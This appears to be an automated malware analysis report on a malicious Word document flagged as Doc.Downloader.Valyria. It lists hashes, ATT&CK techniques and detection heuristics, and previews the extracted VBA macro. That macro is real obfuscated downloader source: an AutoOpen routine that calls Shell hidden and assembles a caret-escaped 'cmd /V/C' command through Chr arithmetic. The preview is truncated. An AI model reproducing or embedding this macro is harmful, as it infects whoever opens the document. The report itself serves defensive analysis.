Doc.Downloader.Valyria-6715188-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 8038a0e232d087ef…

MALICIOUS

Office (OLE)

78.8 KB Created: 2018-09-20 16:23:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 2122a02ddfe07235b77373173c5f86d2 SHA-1: 562fa603303cf3973b9bf215106b2512ab4a09c5 SHA-256: 8038a0e232d087ef596302c0801a0e59bb150ced1660f57ff1da1d54460d555a
142 Risk Score

Malware Insights

Doc.Downloader.Valyria-6715188-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Valyria-6715188-0. It contains a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code when the document is opened. The macro appears to be obfuscated and truncated, but its presence and the AutoOpen marker strongly suggest it's designed to download and execute a secondary payload. The primary IOC is the VBA macro file itself.

Heuristics 5

  • ClamAV: Doc.Downloader.Valyria-6715188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6715188-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15222 bytes
SHA-256: 9be8f852a3da90663e45a46df85484e94d6b69aa98fd56650b9578474e094dd0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CYtijPIj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const BAzCCdXhn = 0
   Dim LETLT(5)
LETLT(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
LETLT(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(3) = MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557)
LETLT(4) = Right(liBtYksT, 399) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim ImAFrR(4)
ImAFrR(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(2) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399)
ImAFrR(3) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim nnFAHd(5)
nnFAHd(0) = Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
nnFAHd(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399)
nnFAHd(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
nnFAHd(3) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
nnFAHd(4) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
   Dim AwXzUh(4)
AwXzUh(0) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
AwXzUh(1) = Right(liBtYksT, 399) + Left(bVEjC, 222)
AwXzUh(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
AwXzUh(3) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim AidZHM(2)
AidZHM(0) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
AidZHM(1) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557)
   Dim vLvYr(2)
vLvYr(0) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222)
vLvYr(1) = Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
Shell@ jvjVE + kcOfW + ijbdGpzi + LWRmnEVWqjb, BAzCCdXhn
   Dim aIoFv(3)
aIoFv(0) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
aIoFv(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
aIoFv(2) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
   Dim wzXLP(3)
wzXLP(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
wzXLP(1) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
wzXLP(2) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
   Dim CcLkv(2)
CcLkv(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
CcLkv(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
End Sub


Attribute VB_Name = "AIzIYrDULpj"
Function jvjVE()
Dim vDuKhw(5)
vDuKhw(0) = Right(liBtYksT, 399) + Left(bVEjC, 222)
vDuKhw(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
vDuKhw(2) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
vDuKhw(3) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
vDuKhw(4) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim kUBAO(4)
kUBAO(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
kUBAO(1) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399)
kUBAO(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
kUBAO(3) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim MVcati(2)
MVcati(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
MVcati(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
notRprKQXX = CStr(Chr(CleanString(3 + 17 + 12 + 3 + 64))) + "md /V/" + CStr(Chr(CleanString(2 + 11 + 8 + 2 + 44))) + CStr(Chr(CleanString(1 + 5 + 4 + 1 + 23))) + "s^e^" + "t ^q^8y= " + " ^  ^ ^" + "  " + " ^ ^ ^ " + "^ ^   " + "^ ^ }" + "^}" + "^{h" + CStr(Chr(C
... (truncated)

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